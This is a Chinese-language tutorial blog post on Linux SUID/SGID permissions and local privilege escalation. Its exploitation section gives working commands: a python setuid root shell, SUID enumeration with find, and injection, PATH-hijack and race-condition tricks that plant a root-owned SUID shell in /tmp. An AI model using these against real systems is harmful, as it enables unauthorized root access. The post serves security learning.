Linux SUID & SGID

基础知识

SUID 就是 Set User id, SGID 就是 Set Group id

SUID

nathan@cap:~# ls -la /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 May 28  2020 /usr/bin/passwd

可以看到s这个标签在原本的x标签上,特点如下:

  1. SUID权限仅对可执行文件有效
  2. 如果执行者对这个文件有执行权限,那么将以文件的所有者权限执行
  3. 本权限仅在运行的过程中有效

那么现在再看下passwd的执行过程。因为nathan拥有可执行权限,而passwd在所有者的权限是wrs,所以当nathan用户运行的时候是以root的权限执行的,进行修改了/etc/shadow

修改成SUID的命令为

chmod 4755 /usr/bin/cat
chmod u+s /usr/bin/cat

SGID

对于可执行文件特点与SUID一样,只不过是以组的权限运行的。

对于文件夹来说,如果这个文件夹的所有组被标记了s,特点如下:

  1. 对这个文件夹拥有rx的用户,可以进入文件夹
  2. 进入文件夹后,用户的操作为文件夹用户组的操作权限
  3. 如果用户拥有w的权限,那么用户创建文件的用户组就是这个文件夹组的用户组
chmod 2755 file_dir
chmod g+s file_dir

rwS

有的文件是S为标记,说明没有执行权限。因为与x重合了所有做了区分

利用

suid 的利用方式常常是因为配置的可执行文件能够得到shell或者可以访问敏感信息。

例如,如果cat有了suid的权限,那么就可以访问cat /etc/shadow

或者python有了suid,那么就可以以root权限执行/bin/bash从而得到root的shell

python -c 'import os; os.setuid(0); os.system("/bin/bash")'

查找方法

find / -perm -4000 2>/dev/null  # 查看所有suid的二进制文件
find / -perm -2000 2>/dev/null  # 查看所有sgid的二进制文件和文件夹

7种利用方法

方法参考了这篇文章

用的是csh?

% ls change-pass
-rwsr-x--- 1 root helpdesk
 37 Feb 26 16:35 change-pass
% cat change-pass
#!/bin/csh -b
set user = $1
passwd $user
% env TERM='`cp /bin/sh /tmp/sh;chown root /tmp/sh;chmod 4755/tmp/sh`' change-pass

引用的文件没有使用绝对路径?

% cat change-pass
#!/bin/ksh
user=$1
passwd $user
% export PATH='/tmp'
% echo "cp /bin/sh /tmp/sh;chown root /tmp/sh;chmod 4755/tmp/sh" >/tmp/passwd
% ./change-pass

脚本的适用范围是否过大?

% cat change-pass
#!/bin/ksh
PATH='/bin:/usr/bin'
user=$1
/usr/bin/passwd $user

可以修改root的密码

使用了临时文件?

% cat change-pass
#!/bin/ksh
PATH='/bin:/usr/bin'
user=$1
[ -z $user ] && echo "Usage: change-pass username" && exit
rm /tmp/.user
echo "$user" > /tmp/.user
isroot='/usr/bin/grep -c root /tmp/.user'
[ "$isroot" -gt 0 ] && echo "You Can't change root's password!" && exit
/usr/bin/passwd $user

看到上面使用了临时文件,那么就意味着可以打时间差,通过疯狂循,用空覆盖掉写入的内容。
那么就跳过了检查是否为空,就可以修改root密码了。

参数是否过滤,能否用分号做更多的事

% cat change-pass
#!/bin/ksh
PATH='/bin:/usr/bin'
user=$1
[ -z $user ] && echo "Usage: change-pass username" && exit
[ "$user" = root ] && echo "You can't change root's password!" && exit
/usr/bin/passwd $user

可以看到值判断是否有$user$user是否为root。

change-pass "user;cp /bin/sh /tmp/sh;chown root /tmp/sh;chmod 4755 /tmp/sh"

是否设置了IFS

IFS(Internal Field Separator), 内部域分割符,set环境变量。

案例中给出了使用方法

export IFS='/'

这样/usr/bin/passwd 就变成了 usr bin passwd,然后替换usr的执行就可以了,但是没有实验成功。

脚本本身的风险

脚本要运行会有两个步骤:

  1. 启动一个shell
  2. 这个shell读取脚本的内容然后执行

那么就会有一个时间差

cd /tmp
ln -s change-pass rootme
$ ./rootme &
$ rm rootme && \
 echo "cp /bin/sh /tmp/sh;chown root /tmp/sh;chmod 4755 /tmp/sh" \
 >> rootme

这个会有很大的几率读取不到完整的内容而失败,但是可以用自动化的方式实现。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 365433079@qq.com